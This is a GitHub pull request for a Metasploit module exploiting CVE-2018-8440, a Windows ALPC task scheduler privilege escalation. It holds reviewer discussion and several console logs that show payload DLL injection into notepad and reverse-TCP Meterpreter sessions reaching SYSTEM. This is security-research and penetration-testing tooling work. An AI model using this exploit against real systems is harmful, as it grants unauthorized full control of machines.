Skip to content

Windows 8+ Local Privilege Escalation via ALPC Scheduler (CVE-2018-8440)#10643

Merged
bwatters-r7 merged 15 commits intorapid7:masterfrom
bwatters-r7:cve-2018-8440
Sep 21, 2018
Merged

Windows 8+ Local Privilege Escalation via ALPC Scheduler (CVE-2018-8440)#10643
bwatters-r7 merged 15 commits intorapid7:masterfrom
bwatters-r7:cve-2018-8440

Conversation

@bwatters-r7
Copy link
Contributor

@bwatters-r7 bwatters-r7 commented Sep 14, 2018 •
edited
Loading

WIP Completed

Please do not land... this does not work, yet now

Historical

We managed to get the PoC playing nice, and I have code execution through the reflectivedll loader, but when I try and launch the function that contains the exploit, the reflective loader fails. I have no idea why right now.

You can test it and see.... I have a test function that pops a messagebox. That function is located in the same location as the exploit function. I can call the test function fine, but Reflective Loading fails when I add a call to the exploit function.

As it is currently, you can run this module:

msf5 exploit(windows/local/alpc_taskscheduler) > show options

Module options (exploit/windows/local/alpc_taskscheduler):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   PATH                           no        Path to write the payload (%TEMP% by default).
   PAYLOAD_NAME                   no        The filename for the payload to be used on the target host if USE_INJECTION=false (%RAND%.exe by default).
   SESSION       1                yes       The session to run this module on.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.135.111  yes       The listen address (an interface may be specified)
   LPORT     5464             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x64


msf5 exploit(windows/local/alpc_taskscheduler) > run

[*] Started reverse TCP handler on 192.168.135.111:5464 
[*] Checking target...
[*] Attempting to PrivEsc on WIN10X64-1703 via session ID: 1
[*] Payload (5120 bytes) uploaded on WIN10X64-1703 to C:\Users\msfuser\AppData\Local\Temp\CBEaaBtrE.dll
[*] Target Looks Good... trying to start notepad
[*] Launching notepad to host the exploit...
[+] Process 1780 launched.
[*] Attempting to change the payload path to C:\Users\msfuser\AppData\Local\Temp\CBEaaBtrE.dll...
[*] payload path length = 49...
[*] original path length = 84...
[*] Reflectively injecting the exploit DLL into 1780...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Exploit completed, but no session was created.
msf5 exploit(windows/local/alpc_taskscheduler) >

On the target machine, we get the messagebox:
image

If I uncomment the call to the exploit function in the test function, Reflective Injection fails with this:

msf5 exploit(windows/local/alpc_taskscheduler) > run

[*] Started reverse TCP handler on 192.168.135.111:5464 
[*] Checking target...
[*] Attempting to PrivEsc on WIN10X64-1703 via session ID: 1
[*] Payload (5120 bytes) uploaded on WIN10X64-1703 to C:\Users\msfuser\AppData\Local\Temp\QwgpTmXoCj.dll
[*] Target Looks Good... trying to start notepad
[*] Launching notepad to host the exploit...
[+] Process 2360 launched.
[*] Attempting to change the payload path to C:\Users\msfuser\AppData\Local\Temp\QwgpTmXoCj.dll...
[*] payload path length = 50...
[*] original path length = 84...
[*] Reflectively injecting the exploit DLL into 2360...
[-] Exploit failed: Rex::PeParsey::PeParseyError Cannot find rva! 1735288172
[*] Exploit completed, but no session was created.
msf5 exploit(windows/local/alpc_taskscheduler) >

I've been looking at it too long, so if anyone (cough @OJ @bcook @jrobles-r7 @asoto-r7) can see what I'm screwing up, please tell me.

@OJ
Copy link
Contributor

OJ commented Sep 14, 2018 via email

@wvu wvu added module blocked Blocked by one or more additional tasks feature labels Sep 14, 2018
@jrobles-r7
Copy link
Contributor

jrobles-r7 commented Sep 17, 2018

I was able to get this working locally with Reflective DLL Injection. I have a few hardcoded paths in the module and one in the solution for testing that I need to fix, along with some other things. I'll have the changes up sometime today or tomorrow.

@jrobles-r7
Copy link
Contributor

jrobles-r7 commented Sep 17, 2018 

msf5 exploit(windows/local/alpc_taskscheduler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                               Connection
  --  ----  ----                     -----------                               ----------
  1         meterpreter x64/windows  DESKTOP-IPOGIJR\msfdev @ DESKTOP-IPOGIJR  172.22.222.243:4444 -> 172.22.222.200:50490 (172.22.222.200)

msf5 exploit(windows/local/alpc_taskscheduler) > run

[*] Started reverse TCP handler on 172.22.222.243:4444 
[*] Checking target...
[*] Attempting to PrivEsc on DESKTOP-IPOGIJR via session ID: 1
[*] Payload (5120 bytes) uploaded on DESKTOP-IPOGIJR to C:\Users\msfdev\AppData\Local\Temp\lbNjsaazXMT.dll
[*] Target Looks Good... trying to start notepad
[*] Launching notepad to host the exploit...
[+] Process 3768 launched.
[*] Attempting to change the payload path to C:\Users\msfdev\AppData\Local\Temp\lbNjsaazXMT.dll...
[*] Reflectively injecting the exploit DLL into 3768...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (206403 bytes) to 172.22.222.200
[*] Meterpreter session 2 opened (172.22.222.243:4444 -> 172.22.222.200:50491) at 2018-09-17 17:37:07 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-IPOGIJR
OS              : Windows 10 (Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >

@OJ
Copy link
Contributor

OJ commented Sep 17, 2018

Looking good! Nice work folks. I'm going to give this a once-over so brace yourself for a bunch of comments that you probably already know about :)

OJ
OJ requested changes Sep 17, 2018
View reviewed changes
Copy link
Contributor

@OJ OJ left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this is looking good. We could probably do away with the instance-level variables in the module as well, as I've been bitten by mixin issues with variable name clashes in the past. That's just personal preference.

Thanks again for the work so far!

external/source/exploits/CVE-2018-8440/dll/ALPC-TaskSched-LPE/ALPC-TaskSched-LPE.cpp
CloseHandle(hPayload);

//After writing PrintConfig.dll we start an XpsPrintJob to load the dll into the print spooler service.
CoInitialize(nullptr);
Copy link
Contributor

@OJ OJ Sep 17, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We may need to consider the result of this call. I've had issues in the past depending on the process that we're injecting into.

modules/exploits/windows/local/alpc_taskscheduler.rb Outdated
end
end

def validate_target
Copy link
Contributor

@OJ OJ Sep 17, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should this instead be the check method that makes sure the target OS/version/arch is supported?

Copy link
Contributor

@jrobles-r7 jrobles-r7 Sep 18, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A check method can be added.

Copy link
Contributor

@jrobles-r7 jrobles-r7 Sep 21, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

jrobles-r7@39128df
I was going to try checking for installed hotfix ids but there are a lot and I'm not sure how to pull the info I need from meterpreter, specifically Win10 releases/version? (1607, 1703, 1709, 1803). Some of the hotfix ids also depend on Security Updates vs Monthly Rollout.
I linked to a check example for this module in my repo. Any suggestions?
@OJ @bcoles

@jrobles-r7 jrobles-r7 changed the title WIP: CVE 2018 8440 ALPC Scheduler [WIP] CVE-2018-8440 ALPC Scheduler Sep 19, 2018
@jrobles-r7
Copy link
Contributor

jrobles-r7 commented Sep 20, 2018 

msf5 exploit(windows/local/alpc_taskscheduler) > run

[*] Started reverse TCP handler on 172.22.222.253:4444 
[*] Checking target...
[*] Attempting to PrivEsc on DESKTOP-IPOGIJR via session ID: 1
[*] Target Looks Good... trying to start notepad.exe
[*] Launching notepad.exe to host the exploit...
[+] Process 10200 launched.
[*] Writing payload dll into process 10200 memory
[*] Reflectively injecting the exploit DLL into 10200...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (206403 bytes) to 172.22.222.200
[*] Meterpreter session 2 opened (172.22.222.253:4444 -> 172.22.222.200:50491) at 2018-09-19 21:23:47 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-IPOGIJR
OS              : Windows 10 (Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x64/windows
meterpreter >

@bcoles
Copy link
Contributor

bcoles commented Sep 21, 2018

I couldn't help but notice this bug does not have a logo.

I suggest something alpaca themed. Perhaps with a timepiece.

I offer:

ALPaCa Scheduler

Source images stolen from:

bcoles
bcoles reviewed Sep 21, 2018
View reviewed changes
@jrobles-r7
Copy link
Contributor

jrobles-r7 commented Sep 21, 2018 

msf5 > use exploit/windows/local/alpc_taskscheduler
msf5 exploit(windows/local/alpc_taskscheduler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/local/alpc_taskscheduler) > set lhost 172.22.222.136 
lhost => 172.22.222.136
msf5 exploit(windows/local/alpc_taskscheduler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                                                                       Connection
  --  ----  ----                     -----------                                                                       ----------
  1         shell x64/windows        Microsoft Windows [Version 10.0.17134.228] (c) 2018 Microsoft Corporation. Al...  172.22.222.136:4444 -> 172.22.222.200:50490 (172.22.222.200)
  2         meterpreter x64/windows  DESKTOP-IPOGIJR\lowmsfdev @ DESKTOP-IPOGIJR                                       172.22.222.136:4444 -> 172.22.222.200:50491 (172.22.222.200)

msf5 exploit(windows/local/alpc_taskscheduler) > set session 1
session => 1
msf5 exploit(windows/local/alpc_taskscheduler) > exploit

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.22.222.136:4444 
[-] Exploit aborted due to failure: none: Only meterpreter sessions are supported
[*] Exploit completed, but no session was created.
msf5 exploit(windows/local/alpc_taskscheduler) > set session 2
session => 2
msf5 exploit(windows/local/alpc_taskscheduler) > exploit

[*] Started reverse TCP handler on 172.22.222.136:4444 
[*] Checking target...
[*] Target Looks Good... trying to start notepad.exe
[*] Launching notepad.exe to host the exploit...
[+] Process 6140 launched.
[*] Writing payload dll into process 6140 memory
[*] Reflectively injecting the exploit DLL into 6140...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (206403 bytes) to 172.22.222.200
[*] Meterpreter session 3 opened (172.22.222.136:4444 -> 172.22.222.200:50492) at 2018-09-21 12:28:00 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-IPOGIJR
OS              : Windows 10 (Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x64/windows
meterpreter > background
[*] Backgrounding session 3...
msf5 exploit(windows/local/alpc_taskscheduler) > set session 3
session => 3
msf5 exploit(windows/local/alpc_taskscheduler) > exploit

[*] Started reverse TCP handler on 172.22.222.136:4444 
[*] Checking target...
[-] Exploit aborted due to failure: none: Session is already elevated
[*] Exploit completed, but no session was created.
msf5 exploit(windows/local/alpc_taskscheduler) >

@bwatters-r7 bwatters-r7 removed the blocked Blocked by one or more additional tasks label Sep 21, 2018
@bwatters-r7 bwatters-r7 self-assigned this Sep 21, 2018
@bwatters-r7 bwatters-r7 merged commit 47bf780 into rapid7:master Sep 21, 2018
bwatters-r7 added a commit that referenced this pull request Sep 21, 2018
@bwatters-r7
Land #10643, CVE-2018-8440 ALPC Scheduler
8495477 
Merge branch 'land-10643' into upstream-master
@wvu
Copy link
Contributor

wvu commented Sep 21, 2018

🍰

@bwatters-r7
Copy link
Contributor Author

bwatters-r7 commented Sep 21, 2018

Testing Results:
image

@bwatters-r7
Copy link
Contributor Author

bwatters-r7 commented Sep 21, 2018 •
edited by jrobles-r7
Loading

Release Notes

This adds a local privilege escalation exploit for Windows 8 and later targeting the Windows ALPC scheduler.

msjenkins-r7 pushed a commit that referenced this pull request Sep 24, 2018
@bwatters-r7 @msjenkins-r7
Land #10643, CVE-2018-8440 ALPC Scheduler
2b194e2 
Merge branch 'land-10643' into upstream-master
@asoto-r7 asoto-r7 changed the title [WIP] CVE-2018-8440 ALPC Scheduler Windows 8+ Local Privilege Escalation via ALPC Scheduler (CVE-2018-8440) Dec 11, 2018
@bwatters-r7 bwatters-r7 deleted the cve-2018-8440 branch January 29, 2019 19:41
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

@OJ OJ OJ requested changes

@bcoles bcoles bcoles left review comments

+3 more reviewers

@SharpMan SharpMan SharpMan left review comments

@wvu wvu wvu left review comments

@jrobles-r7 jrobles-r7 jrobles-r7 left review comments

Reviewers whose approvals may not affect merge requirements

Assignees

@bwatters-r7 bwatters-r7

Labels

feature module

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

8 participants

@bwatters-r7 @OJ @jrobles-r7 @bcoles @wvu @SharpMan @gdavidson-r7 @asoto-r7